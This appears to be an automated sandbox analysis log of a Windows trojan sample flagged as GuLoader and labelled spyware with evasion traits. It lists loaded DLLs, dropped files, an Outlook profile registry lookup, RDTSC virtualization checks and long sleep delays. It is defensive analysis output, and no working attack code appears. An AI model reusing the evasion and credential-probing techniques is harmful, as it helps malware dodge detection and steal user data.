Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FA6D0	4_2_367FA6D0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FBCB0	4_2_367FBCB0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F8AB0	4_2_367F8AB0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FEEB0	4_2_367FEEB0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F8A9F	4_2_367F8A9F
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F0E98	4_2_367F0E98
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FA090	4_2_367FA090
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FD290	4_2_367FD290
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F0E8D	4_2_367F0E8D
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F9D70	4_2_367F9D70
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FCF70	4_2_367FCF70
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F1360	4_2_367F1360
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F1351	4_2_367F1351
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FE550	4_2_367FE550
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FB350	4_2_367FB350
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FC930	4_2_367FC930
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F9730	4_2_367F9730
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FAD10	4_2_367FAD10
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FDF10	4_2_367FDF10
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F0508	4_2_367F0508
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FDBF0	4_2_367FDBF0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FA9F0	4_2_367FA9F0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F35E8	4_2_367F35E8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FF1D0	4_2_367FF1D0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F8DD0	4_2_367F8DD0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FBFD0	4_2_367FBFD0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F09BF	4_2_367F09BF
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FD5B0	4_2_367FD5B0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FA3B0	4_2_367FA3B0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FB990	4_2_367FB990
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367F8790	4_2_367F8790
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_367FEB90	4_2_367FEB90
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_368336F0	4_2_368336F0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36831470	4_2_36831470
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36833008	4_2_36833008
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36831B50	4_2_36831B50
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36832238	4_2_36832238
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36830D88	4_2_36830D88
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36832920	4_2_36832920
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_368336E1	4_2_368336E1
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36831460	4_2_36831460
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36833003	4_2_36833003
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36831B3F	4_2_36831B3F
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36832229	4_2_36832229
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36830013	4_2_36830013
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36830040	4_2_36830040
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36830D7B	4_2_36830D7B
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36830A10	4_2_36830A10
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_368308DE	4_2_368308DE
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36832911	4_2_36832911
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36830960	4_2_36830960
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36922788	4_2_36922788
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36922770	4_2_36922770
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36929771	4_2_36929771
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_36920F74	4_2_36920F74

Source: C:\Users\user\Desktop\Fa24c148.exe

Code function: String function: 00402B3A appears 51 times

Source: Fa24c148.exe, 00000004.00000002.2951000648.00000000333D7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Fa24c148.exe
Source: Fa24c148.exe, 00000004.00000002.2930604280.0000000002F42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Fa24c148.exe

Source: Fa24c148.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/10@5/5

Source: C:\Users\user\Desktop\Fa24c148.exe

Code function: 0_2_00404457 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404457

Source: C:\Users\user\Desktop\Fa24c148.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\Fa24c148.exe

File created: C:\Program Files (x86)\shaw

Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack

Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Fa24c148.exe

File created: C:\Users\user\AppData\Local\Temp\nsjC8A7.tmp

Jump to behavior

Source: Fa24c148.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Fa24c148.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Fa24c148.exe

ReversingLabs: Detection: 15%

Source: C:\Users\user\Desktop\Fa24c148.exe

File read: C:\Users\user\Desktop\Fa24c148.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Fa24c148.exe "C:\Users\user\Desktop\Fa24c148.exe"
Source: C:\Users\user\Desktop\Fa24c148.exe	Process created: C:\Users\user\Desktop\Fa24c148.exe "C:\Users\user\Desktop\Fa24c148.exe"
Source: C:\Users\user\Desktop\Fa24c148.exe	Process created: C:\Users\user\Desktop\Fa24c148.exe "C:\Users\user\Desktop\Fa24c148.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2029869938.0000000005425000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Fa24c148.exe

Code function: 0_2_004060E1 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004060E1

Source: C:\Users\user\Desktop\Fa24c148.exe

Code function: 0_2_10002DA0 push eax; ret

0_2_10002DCE

Source: C:\Users\user\Desktop\Fa24c148.exe

File created: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Fa24c148.exe	API/Special instruction interceptor: Address: 5C2938D
Source: C:\Users\user\Desktop\Fa24c148.exe	API/Special instruction interceptor: Address: 1FA938D

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Fa24c148.exe	RDTSC instruction interceptor: First address: 5BEAA11 second address: 5BEAA11 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F4458D311FAh 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Fa24c148.exe	RDTSC instruction interceptor: First address: 1F6AA11 second address: 1F6AA11 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F4458FAFEFAh 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc

Source: C:\Users\user\Desktop\Fa24c148.exe	Memory allocated: 120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Memory allocated: 335C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Memory allocated: 33230000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595967	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595641	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594359	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594250	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594141	Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe	Window / User API: threadDelayed 7648			Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Window / User API: threadDelayed 2183			Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Fa24c148.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 4484	Thread sleep count: 7648 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 4484	Thread sleep count: 2183 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -599078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -598735s >= -30000s	Jump to behavior
